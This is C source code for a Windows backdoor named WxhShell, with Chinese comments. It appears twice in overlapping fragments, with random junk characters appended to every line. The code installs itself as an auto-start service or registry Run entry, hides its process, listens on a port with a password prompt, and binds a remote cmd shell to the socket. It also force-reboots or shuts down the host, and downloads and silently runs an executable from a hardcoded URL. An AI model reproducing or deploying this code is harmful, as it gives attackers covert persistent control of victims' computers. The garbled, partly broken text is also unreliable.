    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c!wtf,F  
    if(Boot(SHUTDOWN)) cj g.lzY H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Dw,"VHP  
    else { !9 f4R/ ?  
    closesocket(wsh); c-8!#~M(  
    ExitThread(0); z<&m*0WYA  
    } Lh ap4:  
    break; /!T> b:0  
    } SlaDt  
  // 获取shell CDdkoajBa  
  case 's': { -^SA8y  
    CmdShell(wsh); |/T43ADW  
    closesocket(wsh); ?KP}#>Ba@  
    ExitThread(0); >|*yh~  
    break; 'jjb[{g^}}  
  }  CdZ BG  
  // 退出 v\%G|8+]  
  case 'x': { 33a uho  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); | vu>;*K  
    CloseIt(wsh); i9m*g*"2  
    break; b$- e\XB!  
    } 9 26Tl  
  // 离开 }V`mp  
  case 'q': { yPgmg@G@/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ir[jCea,  
    closesocket(wsh); , Z ~;U  
    WSACleanup(); LFu%v7L`  
    exit(1);  +sZUJ  
    break; =yXs?y"  
        } ;t(f1rPyE  
  } qf8[!5GM  
  } S$[k Q|Am  
0rE(p2  
  // 提示信息 NlF}{   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'q{733o  
} Vrp[r *V@E  
  } 'C>U=cE7  
^p=L\SJ  
  return; ?c#$dc"  
} ||eAE)  
M+xdHBg  
// shell模块句柄 (^n*Am;zlH  
int CmdShell(SOCKET sock) lMifpK  
{ ^^Jnv{)  
STARTUPINFO si; EKZVF`L  
ZeroMemory(&si,sizeof(si)); A6"Hk0Hf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Je>;{&%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;*cLG#&'M  
PROCESS_INFORMATION ProcessInfo; {9 PR()_  
char cmdline[]="cmd"; !; v~^#M]~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )^O-X.1  
  return 0; u8vuwbra!  
} 8 0B>L  
r\M9_s8  
// 自身启动模式 N "Wqy  
int StartFromService(void) Hs(D/&6%  
{ w4:\N U  
typedef struct =f7r69I"  
{ {nMAm/kyj  
  DWORD ExitStatus; }!d;(/)rb  
  DWORD PebBaseAddress; *}! MOqP  
  DWORD AffinityMask; '0t-]NAc  
  DWORD BasePriority; [aqu }Su  
  ULONG UniqueProcessId; }e]f  
  ULONG InheritedFromUniqueProcessId; 39TT{>?`w  
}   PROCESS_BASIC_INFORMATION; O'DW5hBL0  
uCP>y6I  
PROCNTQSIP NtQueryInformationProcess; rrBAQY|.  
KMK`F{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7^:4A'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A74920X`W  
-yx/7B5@  
  HANDLE             hProcess; ktH8as^54!  
  PROCESS_BASIC_INFORMATION pbi; g:#d l\k  
!<\Br  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v"Jgw;3  
  if(NULL == hInst ) return 0; 5OP`c<  
lWZuXb,G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #D%ygh=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qE7R4>5xjO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u{f* M,k  
)Y]/^1hx  
  if (!NtQueryInformationProcess) return 0; 5#JJ?  
;/8{N0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CAc %f9!3  
  if(!hProcess) return 0; eE]hy'{d<  
O m'(mr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v3RcwySk  
V5rp.~   
  CloseHandle(hProcess); ^]c6RE_  
tj1JB%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ` %?9=h%  
if(hProcess==NULL) return 0; 4? (W%?  
8;\sU?  
HMODULE hMod; 2WBq  
char procName[255]; H7g< p"  
unsigned long cbNeeded; !u;>Wyd W  
i+vsp@d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )j&"%[2F  
F # YPOH  
  CloseHandle(hProcess); 'cdN3i(  
Iw=Sq8  
if(strstr(procName,"services")) return 1; // 以服务启动 }nx=e#[g%2  
T1Ta?b  
  return 0; // 注册表启动 *~VxC{  
} o'V%EQ  
4FMF|U  
// 主模块 6`H.%zM  
int StartWxhshell(LPSTR lpCmdLine) xi'>mIT  
{ ^4$ 'KIq  
  SOCKET wsl; 6XV<? 9q  
BOOL val=TRUE; W?RE'QV8  
  int port=0; pa]"iZz  
  struct sockaddr_in door; #gbH^a'  
2y GOzc  
  if(wscfg.ws_autoins) Install(); oduDA:  
y=sGe!^  
port=atoi(lpCmdLine); f@V3\Z/6E  
 lhLGG  
if(port<=0) port=wscfg.ws_port; 7v"lNP-?jU  
O>0VTW  
  WSADATA data; `)>7)={  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i6PM<X,{;  
'/%zi,0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UVu DQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DPHQ,dkp  
  door.sin_family = AF_INET; ^>$P)=O:v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]F*3"y?)2  
  door.sin_port = htons(port); <,%:   
=[tSd)D,y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @e2}BhB2  
closesocket(wsl); i8pU|VpA  
return 1; v> z@  
} Jobiq]|>  
e;95a  
  if(listen(wsl,2) == INVALID_SOCKET) { y&J@?Hc>  
closesocket(wsl); wsfd8T4  
return 1; :os z  
} qv{o |g QB  
  Wxhshell(wsl); 83ipf"]*  
  WSACleanup(); x%> e)L<  
FH5ql~  
return 0; '?*g%Yuz  
b'@we0V@S  
} bha?eN  
Xh+ia#K  
// 以NT服务方式启动 C 'mL&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (&\aA 0-}H  
{ 2ef;NC.&n  
DWORD   status = 0; [bQj,PZ&  
  DWORD   specificError = 0xfffffff; b3qc_  
S[:xqzyDg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; irBDGT~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ze^jG-SL$9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q }C+tn"\  
  serviceStatus.dwWin32ExitCode     = 0; GR4?BuY,  
  serviceStatus.dwServiceSpecificExitCode = 0; H^%.=kf  
  serviceStatus.dwCheckPoint       = 0; |FR3w0o  
  serviceStatus.dwWaitHint       = 0; Ju` [m  
kAzd8nJ'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); } /^C|iS7  
  if (hServiceStatusHandle==0) return;  q" @  
`cB_.&  
status = GetLastError(); 748CD{KxW  
  if (status!=NO_ERROR) V,7%1TZ:  
{ mz7l'4']+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ww d'0P`/  
    serviceStatus.dwCheckPoint       = 0; 2h^WYpCm  
    serviceStatus.dwWaitHint       = 0; 4N? v  
    serviceStatus.dwWin32ExitCode     = status; I?!rOU= 0  
    serviceStatus.dwServiceSpecificExitCode = specificError; -0HkTY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u V6g[J  
    return; ,5k-.Md>2*  
  } I0= NaZ7  
"i)Yvh[y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ffDc 6*.Q  
  serviceStatus.dwCheckPoint       = 0; mXWTm%'[  
  serviceStatus.dwWaitHint       = 0; I=DLPgzO9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |PVt}*0"  
} ztM<J+  
 :S %lv  
// 处理NT服务事件,比如:启动、停止 -f(/B9}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x<(b|2qf  
{ #TJk-1XM*q  
switch(fdwControl) m@xi0t  
{ oUDVy_k  
case SERVICE_CONTROL_STOP: V2&^!#=s  
  serviceStatus.dwWin32ExitCode = 0; dG'SZ&<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7LZ^QC  
  serviceStatus.dwCheckPoint   = 0; (il0M=M  
  serviceStatus.dwWaitHint     = 0; ak:v3cQR  
  { qztV,R T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > 6CV4 L  
  } !3&kQpF  
  return; WV<tyx9Z  
case SERVICE_CONTROL_PAUSE: 8s}J!/2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zi]%Zp  
  break; [G|mY6F^  
case SERVICE_CONTROL_CONTINUE: Y#V8(DTyH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P<dy3 ;  
  break; VkmRh,T  
case SERVICE_CONTROL_INTERROGATE: D@Da0  
  break; J@"utY6N  
}; Xg<[fwW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~fN%WZ;_  
} UV7%4xM5v  
"u^EleE!  
// 标准应用程序主函数 |!z2oO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C"<s/h  
{ - Xupq/[,  
N0TeqOi4Y  
// 获取操作系统版本 Ibr%d2yS=  
OsIsNt=GetOsVer(); 8Cf|*C+_'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6Y*;{\Rd  
70W"G X&  
  // 从命令行安装 t={0(  
  if(strpbrk(lpCmdLine,"iI")) Install(); q%3<Juq~$  
O mMX$YID  
  // 下载执行文件 c-]fKj7  
if(wscfg.ws_downexe) { lPq\=V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oY9FK{  
  WinExec(wscfg.ws_filenam,SW_HIDE); $Rtgr{ {;"  
} o=+Z.-q  
`H%G3M0a  
if(!OsIsNt) { :Hy]  
// 如果时win9x,隐藏进程并且设置为注册表启动 n~0z_;5  
HideProc(); ZXiRw)rM  
StartWxhshell(lpCmdLine); Se^^E.Z,W  
} >wON\N0V_  
else bi[7!VQf  
  if(StartFromService()) E0f{iO;}  
  // 以服务方式启动 xN->cA$A  
  StartServiceCtrlDispatcher(DispatchTable); y2Bh?>pg  
else :KE/!]z  
  // 普通方式启动 Pi6C/$ K  
  StartWxhshell(lpCmdLine); 5>0.NiXGf'  
"cUg>a3  
return 0; "PWl4a&  
} m)>&ZIXa  
T|4snU2M  
Fe=8O ^\  
qt?*MyfV  
=========================================== ?Hz2-Cn  
&_-](w`  
Mhpdaos  
 $g8}^1  
y.a]r7  
5N/Lk>p1u  
" |Ur"za;%@  
>9K//co"of  
#include <stdio.h> n]? WCG}cd  
#include <string.h> S q@H  
#include <windows.h> w<nv!e?  
#include <winsock2.h> rzLd"`  
#include <winsvc.h> gSi5u# }J  
#include <urlmon.h> HMQI&Lh=U  
Pe^ !$  
#pragma comment (lib, "Ws2_32.lib") i?}>.$j  
#pragma comment (lib, "urlmon.lib") UsW5d]i}Y  
K'b*A$5o  
#define MAX_USER   100 // 最大客户端连接数 L4' [XcY  
#define BUF_SOCK   200 // sock buffer L10IF  
#define KEY_BUFF   255 // 输入 buffer d "<F!?8  
[s6C ZcL  
#define REBOOT     0   // 重启 7!4V >O8@  
#define SHUTDOWN   1   // 关机 {[OwMk  
1 =GI&f2I  
#define DEF_PORT   5000 // 监听端口 kA?_%fi1  
aq>?vti1D  
#define REG_LEN     16   // 注册表键长度 M@7Xp)S"  
#define SVC_LEN     80   // NT服务名长度 {[#(w75R{  
8n)WW$  
// 从dll定义API ] f 7#N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  -;c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6SEltm(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <e"J4gZf&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z/|BH^Vw  
w9&#~k]5  
// wxhshell配置信息 RI.2F*|  
struct WSCFG { ';YgG<u  
  int ws_port;         // 监听端口 D'i6",Z>  
  char ws_passstr[REG_LEN]; // 口令 !$xu(D.  
  int ws_autoins;       // 安装标记, 1=yes 0=no Eu<r$6Q0}o  
  char ws_regname[REG_LEN]; // 注册表键名 'CV^M(o'9  
  char ws_svcname[REG_LEN]; // 服务名 vgG}d8MW37  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;)/@Xx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wyQb5n2`;~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V'wi^gq  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K&`Awv  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ohZx03  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x7ATI[b[  
ej[Su  
}; W'$kZ/%[  
iD_T P  
// default Wxhshell configuration S`g;Y '  
struct WSCFG wscfg={DEF_PORT, <|F-Dd  
    "xuhuanlingzhe", g:~+P e  
    1, TipHV;|e  
    "Wxhshell", *g7DPN$aQ  
    "Wxhshell", y:so L:(F  
            "WxhShell Service", EZj1jpL  
    "Wrsky Windows CmdShell Service", vDDljQXw4  
    "Please Input Your Password: ", aj7dH5SZl  
  1, L(o#4YH}>J  
  "http://www.wrsky.com/wxhshell.exe", (cV  
  "Wxhshell.exe" rw u3Nb  
    }; *o4%ul\3Y|  
J_"3UZ~&  
// 消息定义模块 {BOLP E-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  rz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &?<AwtNN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _Z#eS/,O@  
char *msg_ws_ext="\n\rExit."; 8&(-8  
char *msg_ws_end="\n\rQuit."; fPQ|e"?  
char *msg_ws_boot="\n\rReboot..."; $Z6D:"K  
char *msg_ws_poff="\n\rShutdown..."; f%Ke8'&  
char *msg_ws_down="\n\rSave to "; UxqWnHH.`  
Q1V2pP+=@  
char *msg_ws_err="\n\rErr!"; /~hbOs/ L  
char *msg_ws_ok="\n\rOK!"; 2VYvO=KA  
UKs$W`  
char ExeFile[MAX_PATH]; g [L  
int nUser = 0; htHv&  
HANDLE handles[MAX_USER]; azGn P3_  
int OsIsNt; @PXXt#  
y^s1t2]%  
SERVICE_STATUS       serviceStatus; n2'|.y}Um:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P;GprJ`l  
qx%jAs+~  
// 函数声明 >]/dOH,A  
int Install(void); 'lQYJ0  
int Uninstall(void); ~ x`7)3  
int DownloadFile(char *sURL, SOCKET wsh); vInFo.e[4  
int Boot(int flag); g!^J,e=  
void HideProc(void); In(NF#  
int GetOsVer(void); Mq+< mX7  
int Wxhshell(SOCKET wsl); Bl4 dhBZoO  
void TalkWithClient(void *cs); fN[n>%)VO<  
int CmdShell(SOCKET sock); 9ECS,r*B  
int StartFromService(void); 0vckoE  
int StartWxhshell(LPSTR lpCmdLine); q$>_WF#||  
-1mvhR~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d}% (jJ(I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `o-*Tr  
6\`DlUn'*  
// 数据结构和表定义 .mt^m   
SERVICE_TABLE_ENTRY DispatchTable[] = 1v]t!}W:6  
{ W-Of[X{<  
{wscfg.ws_svcname, NTServiceMain}, ZNy9_a:dX  
{NULL, NULL} I9/KM4&  
}; jtLn j@,  
^pw7o6}  
// 自我安装 =uc^433.  
int Install(void) ha>SZnKD{  
{ <9N4"d !A  
  char svExeFile[MAX_PATH]; b%<jUY  
  HKEY key; P#bm uCOS  
  strcpy(svExeFile,ExeFile); ]Zv ,  
=ZMF]|  
// 如果是win9x系统,修改注册表设为自启动 )52#:27F  
if(!OsIsNt) { jkCHi@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *1,=qRjL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )0F^NU  
  RegCloseKey(key); &#,v_B)a_E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lko3]A3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ULu O0\W  
  RegCloseKey(key);  8bGD  
  return 0; k+txb?  
    } %&1$~m0  
  } E7 L bSZ  
} hg&u0AQ2  
else { hXnw..0"  
@>Ek'~m  
// 如果是NT以上系统,安装为系统服务 _UIgRkl.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +gNX7xuY  
if (schSCManager!=0) )|:8zDuJ  
{ &<t79d%{  
  SC_HANDLE schService = CreateService 3Tw%W0q  
  ( Bxt_a.LthH  
  schSCManager, un&>  
  wscfg.ws_svcname, dcP88!#5-  
  wscfg.ws_svcdisp, w= B  
  SERVICE_ALL_ACCESS, cf&C|U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <G}m#  
  SERVICE_AUTO_START, (xQI($Wq*M  
  SERVICE_ERROR_NORMAL, x{j+}'9  
  svExeFile, ++gPv}:$X  
  NULL, ZR2\ dH*  
  NULL, l3\9S#3-^  
  NULL, `|JI\&z  
  NULL, I*9Gb$]=  
  NULL K"I{\/x@  
  ); D/*vj|  
  if (schService!=0) (I!1sE!?1  
  { s)Gb!-``  
  CloseServiceHandle(schService); 'N|2vbi<  
  CloseServiceHandle(schSCManager); rNxG0^k(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G\uU- z$)  
  strcat(svExeFile,wscfg.ws_svcname); W n6,U=$3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IY~ {)X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5@iy3olP  
  RegCloseKey(key); Sn0Xl3yr  
  return 0; sB8p( L  
    } ID+,[TM`  
  } W=F3XYS  
  CloseServiceHandle(schSCManager); +O,V6XRr  
} eA10xpM0  
} 03] r*\  
x6jm -n  
return 1; DWdLA~'t  
} JqQ3C}z  
,A^L=+  
// 自我卸载 &'NQ)Dn  
int Uninstall(void) %qONJP  
{ % hNn%Oy:E  
  HKEY key; <w;D$l}u  
L#[HnsLp_  
if(!OsIsNt) { EI<"DB   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R:BBF9sK?  
  RegDeleteValue(key,wscfg.ws_regname); >*Sv0#  
  RegCloseKey(key); )'w]YIv9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @ljZw(  
  RegDeleteValue(key,wscfg.ws_regname); U:J /\-  
  RegCloseKey(key); <kROH0+  
  return 0; D . 77WjwQ  
  } F6~b#Jz&i  
} +$'e4EwqV  
} 7Y4%R`9H  
else { p-a]"l+L  
]}5`7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q-:Ah:/  
if (schSCManager!=0) *P&OxVz  
{ ?Z5$0-g'hU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rknzo]N,  
  if (schService!=0) MG;4M>H  
  { IM$ 'J  
  if(DeleteService(schService)!=0) { p$B)^S%0i  
  CloseServiceHandle(schService); 7jhl0  
  CloseServiceHandle(schSCManager); l DgzM3  
  return 0; h)"'YzCt  
  } FyQOa)5  
  CloseServiceHandle(schService); 9]"\"ka3>  
  } bx1G CD  
  CloseServiceHandle(schSCManager); pVdhj^n  
} Z=0iPy,m>  
} {|G&W^`  
)x y9X0  
return 1; -=@K %\\~5  
} ><MGZ?-N  
"pR $cS  
// 从指定url下载文件 H 3W_}f  
int DownloadFile(char *sURL, SOCKET wsh) x/pC%25  
{ gX/|aG$a!U  
  HRESULT hr; KwY`<t1lA;  
char seps[]= "/"; $cyLI+uz|  
char *token; Uy:@,DW  
char *file; &mCs%l  
char myURL[MAX_PATH]; ( ?atGFgu  
char myFILE[MAX_PATH]; *4zoAslU1  
h\Z3yAYd  
strcpy(myURL,sURL); hLu&lY  
  token=strtok(myURL,seps); o,iS&U"TC  
  while(token!=NULL) >6n@\n  
  { R9S7_u  
    file=token; $[WN[J  
  token=strtok(NULL,seps); x*3@,GmZl  
  } y[TaM9<  
F I80vV7  
GetCurrentDirectory(MAX_PATH,myFILE); n\~"Wim<b  
strcat(myFILE, "\\"); }S Y`KoC1  
strcat(myFILE, file); a g|9$  
  send(wsh,myFILE,strlen(myFILE),0); BF@m )w.v  
send(wsh,"...",3,0); t201ud2$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hj%}GP{{  
  if(hr==S_OK) aMe%#cLI  
return 0; =iA"; x  
else z1z =P%WK  
return 1; Rt*-#`I $  
eW<!^Aer  
} E;ndw/GZjR  
(\5<GCW-  
// 系统电源模块 Lx|w~+k}  
int Boot(int flag) pmE1EDPag  
{ Nj! R9N  
  HANDLE hToken; ZYpD8u6U  
  TOKEN_PRIVILEGES tkp; h+\$ Z]  
&1\u#LU  
  if(OsIsNt) { oY| (M_;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `K1PGibV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U`},)$  
    tkp.PrivilegeCount = 1; ',v0vyO8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gME:\ud$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s2,`eV  
if(flag==REBOOT) { Py(wT%w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sIP6GWK$  
  return 0; D| 3AjzW  
} ?#');`  
else { oZ|{J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w+:+r/!g  
  return 0; #)Id J]  
} f?oI'5R41  
  } L>|A6S#y8/  
  else { fh/)di  
if(flag==REBOOT) { wFH(.E0@Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XmE_F  
  return 0; ^;v.ytO*  
} *GY,h$Ul  
else { 5cv, >{~5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ePFC$kMn  
  return 0; qCv}+d)  
} 5Lo==jHif  
} ~}FLn9@*  
lUm}nsp=X  
return 1; QZeb+r  
} (]GY.(F{  
`qQQQ.K7)z  
// win9x进程隐藏模块 +#2@G}j  
void HideProc(void) `0-m`>1>  
{ Tg}H < T  
'8iv?D5M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NWq [22X |  
  if ( hKernel != NULL ) 6Wcn(h8%*  
  { s?z=q%-p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oWn_3gzw;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D0"yZp}  
    FreeLibrary(hKernel); #&HarBxx  
  } -bG#h)yj  
$txWVjR?\  
return; *HfW(C$  
} }T&;*ww  
}sm56}_  
// 获取操作系统版本 3n=cw2FG  
int GetOsVer(void) et7T)(k0  
{ p5D3J[?N  
  OSVERSIONINFO winfo; yM\tbT/l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Amq8q  
  GetVersionEx(&winfo); KH CdO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2T{-J!k  
  return 1; wN%DM)*k  
  else Z2Y583D  
  return 0; wLg:YM"  
} V%Z[,C u+  
h3vm< R;  
// 客户端句柄模块 3]5&&=#  
int Wxhshell(SOCKET wsl) cUX]tiC0  
{ =&<$I  
  SOCKET wsh; 1Rb<(%   
  struct sockaddr_in client; 7~k~S>sO  
  DWORD myID; ocuNrkZ  
-t706(#k  
  while(nUser<MAX_USER) )r-|T&Sn  
{ ~`Gcq"7, !  
  int nSize=sizeof(client); pR^Y|NG!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xj&~N;Ysb  
  if(wsh==INVALID_SOCKET) return 1;  ;#Bh_f  
4 w/t$lR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?F_;~  
if(handles[nUser]==0) /R+]}Lt~%*  
  closesocket(wsh); azATKH+j  
else f1,$<Y|qU  
  nUser++; _yXeX  
  } 71,0v`Z<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); smQpIB;  
gx{~5&1  
  return 0; ;Bc<u[G  
} 9 h{:!  
w1/T>o  
// 关闭 socket APOU&Wd  
void CloseIt(SOCKET wsh) wh[:wE]eX  
{ 6d?2{_},  
closesocket(wsh); 'V*M_o(\  
nUser--; Jb-QP'$@  
ExitThread(0); kJ5?BdvM&  
} %A Du[M.  
fgz'C?  
// 客户端请求句柄 '%r@D&*vp  
void TalkWithClient(void *cs) vd X~E97  
{ \(v_",  
h[v3G<C~r  
  SOCKET wsh=(SOCKET)cs; 9Z_OLai  
  char pwd[SVC_LEN]; I4DlEX  
  char cmd[KEY_BUFF]; u:>3j,Cs  
char chr[1]; U=<.P;+f9  
int i,j; as47eZ0\  
i1H80m s  
  while (nUser < MAX_USER) { 1VM5W!}  
:{='TMJ7  
if(wscfg.ws_passstr) { &+|4(d1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R;m0eG`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j`&i4K:  
  //ZeroMemory(pwd,KEY_BUFF); ^Ypx|-Vu!  
      i=0; +53zI|I  
  while(i<SVC_LEN) { aGkVC*T  
1H@rNam&  
  // 设置超时 )jZ=/ xG  
  fd_set FdRead; lM]),}   
  struct timeval TimeOut; HC`3AQ12!&  
  FD_ZERO(&FdRead); ,(Hmk(,  
  FD_SET(wsh,&FdRead); !`Yi{}1_  
  TimeOut.tv_sec=8; 8@*|T?r  
  TimeOut.tv_usec=0; 9^h%}>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VX@G}3Ck  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qc4 "0Ap'  
NqfDY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *"bp}3$^^  
  pwd=chr[0]; Y{:/vOj  
  if(chr[0]==0xd || chr[0]==0xa) { [";5s&)q  
  pwd=0; T7_ SO,X  
  break; tcdn"]#U  
  } ^%/5-0?xE  
  i++; aI#n+PW  
    } 'ah0IYe  
'/*rCB  
  // 如果是非法用户,关闭 socket ?cxK~Y\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }4ju2K  
} sWCm[HpG  
JBJ7k19;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]O ` [v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <UL|%9=~  
J7] 60H#P  
while(1) { #.t{g8W\C  
Y,"MQFr(o  
  ZeroMemory(cmd,KEY_BUFF); NB#*`|qt  
2cL )sP}  
      // 自动支持客户端 telnet标准   VYQbyD{V w  
  j=0; ~"YNG?Rre  
  while(j<KEY_BUFF) { bHT@]`@@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c\ *OId1{;  
  cmd[j]=chr[0]; RL)3k8pk  
  if(chr[0]==0xa || chr[0]==0xd) { d*(\'6?  
  cmd[j]=0; "8 mulE,  
  break; `*!>79_2C  
  } I*R$*/)  
  j++; Oydmq,sVe(  
    } TmZ[?IL,  
oVsazYJ|?  
  // 下载文件 ,(=]6V  
  if(strstr(cmd,"http://")) { d iLl>z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vj$ 6  
  if(DownloadFile(cmd,wsh)) twS3J)UH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1}M.}G2u/  
  else meD (ja  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `v{X@x  
  }  (t['  
  else { !QspmCo+  
(:x"p{  
    switch(cmd[0]) { }]?G"f t K  
  >D#}B1(!  
  // 帮助 o+Z9h1z%,  
  case '?': {  nGd  
